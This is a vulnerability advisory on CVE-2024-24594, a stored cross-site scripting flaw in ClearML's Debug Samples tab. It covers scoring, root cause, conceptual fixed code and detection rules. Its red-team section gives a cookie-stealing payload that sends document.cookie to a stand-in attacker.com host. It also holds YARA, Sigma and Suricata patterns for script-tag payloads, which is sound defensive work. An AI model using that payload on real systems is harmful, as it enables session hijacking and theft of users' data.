CVE-2024-24594

Executive Summary

CVE-2024-24594 is a critical cross-site scripting (XSS) vulnerability in Allegro AI’s ClearML platform, affecting all versions of its web server component. The flaw allows a remote attacker to execute arbitrary JavaScript in the context of a victim’s browser when the victim views the Debug Samples tab in the ClearML web UI. With a CVSS score of 9.9, this vulnerability poses a severe risk to data confidentiality, integrity, and availability. No public exploit code or patch is currently available, making proactive detection and mitigation essential.

Supply Chain & Package Security

ClearML is a widely used open-source MLOps platform distributed via PyPI (clearml). Organizations using ClearML in their ML pipelines should treat this as a supply chain risk. The vulnerability resides in the web server component, not in the Python client, but any deployment exposing the web UI is affected. Monitor for malicious packages or tampered ClearML server images.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
• Base Score: 9.9 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must view the Debug Samples tab)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The high score reflects the ease of exploitation and the potential for full compromise of the ClearML web interface and associated data.

Deep Dive & Mechanics

The vulnerability is a stored XSS in the Debug Samples tab of ClearML’s web UI. When a user uploads or generates debug samples (e.g., images, logs, or artifacts), the web server fails to sanitize user-controlled content before rendering it in the browser. An attacker can craft a malicious debug sample containing JavaScript payloads. When any user (including administrators) navigates to the Debug Samples tab, the payload executes in their browser session.

Root Cause: Lack of output encoding or sanitization in the web server component when rendering debug sample data. The vulnerability is present in all versions of the ClearML web server.

Attack Flow:

1. Attacker gains access to a ClearML project (e.g., via compromised credentials or by creating a new project if registration is open).
2. Attacker uploads a debug sample (e.g., a crafted image or log file) containing a JavaScript payload.
3. Victim (another user or admin) views the Debug Samples tab.
4. Payload executes, allowing the attacker to steal session cookies, perform actions on behalf of the victim, or exfiltrate data.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described generically.

Vulnerable Code (Conceptual):

# Vulnerable: Directly rendering user input without sanitization
def render_debug_sample(sample_data):
    return f"<div>{sample_data['content']}</div>"

Patched Code (Expected):

# Patched: Sanitize user input before rendering
import html
def render_debug_sample(sample_data):
    safe_content = html.escape(sample_data['content'])
    return f"<div>{safe_content}</div>"

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a ClearML instance (e.g., http://clearml-server:8080)
• Ability to upload debug samples (requires project access)

Exploitation Steps:

1. Log in to ClearML web UI.
2. Navigate to a project and select "Debug Samples".
3. Upload a debug sample with a malicious payload. For example, create a file named payload.txt with content:

   <script>alert('XSS')</script>
   

4. Alternatively, use a more sophisticated payload to steal cookies:

   <script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Wait for a victim to view the Debug Samples tab. The payload will execute.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team

Detection:

• Monitor for unusual debug sample uploads containing HTML/JavaScript.
• Use web application firewalls (WAF) to block payloads with <script> tags in debug sample content.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Honeypot:

• Deploy a fake ClearML instance and monitor for XSS payloads in debug samples.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests from ClearML server to unknown domains (e.g., attacker.com).
• File: Debug sample files containing <script> tags or JavaScript event handlers (e.g., onerror, onload).
• Logs: ClearML server logs showing uploads of files with MIME type text/html or suspicious content.
• Browser: Unexpected JavaScript execution in ClearML web UI, especially on Debug Samples tab.

Detection Engineering

YARA Rule

rule CVE_2024_24594_XSS_Payload {
    meta:
        description = "Detects XSS payloads in ClearML debug samples"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-24594"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
    condition:
        any of them
}

Sigma Rule

title: ClearML Debug Samples XSS Payload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS payloads in ClearML debug sample uploads
author: Valters IT
logsource:
    category: webserver
    product: clearml
detection:
    selection:
        http.method: POST
        http.url: /debug_samples/upload
        http.body|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in debug samples (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-24594 ClearML XSS Payload in Debug Sample"; flow:to_server; content:"POST"; http_method; content:"/debug_samples/upload"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Debug Samples Tab: If not required, disable the Debug Samples feature in ClearML configuration.
2. Restrict Access: Use network segmentation and authentication to limit who can upload debug samples.
3. Web Application Firewall (WAF): Deploy a WAF with rules to block XSS payloads in uploads.
4. Content Security Policy (CSP): Add CSP headers to the ClearML web server to block inline scripts.

Long-Term Fix:

• Monitor vendor for a patch. Apply input sanitization and output encoding in the web server component.
• Upgrade to a patched version when available.

Workaround:

• Use a reverse proxy (e.g., Nginx) to inspect and sanitize uploads before they reach the ClearML server.

Valters IT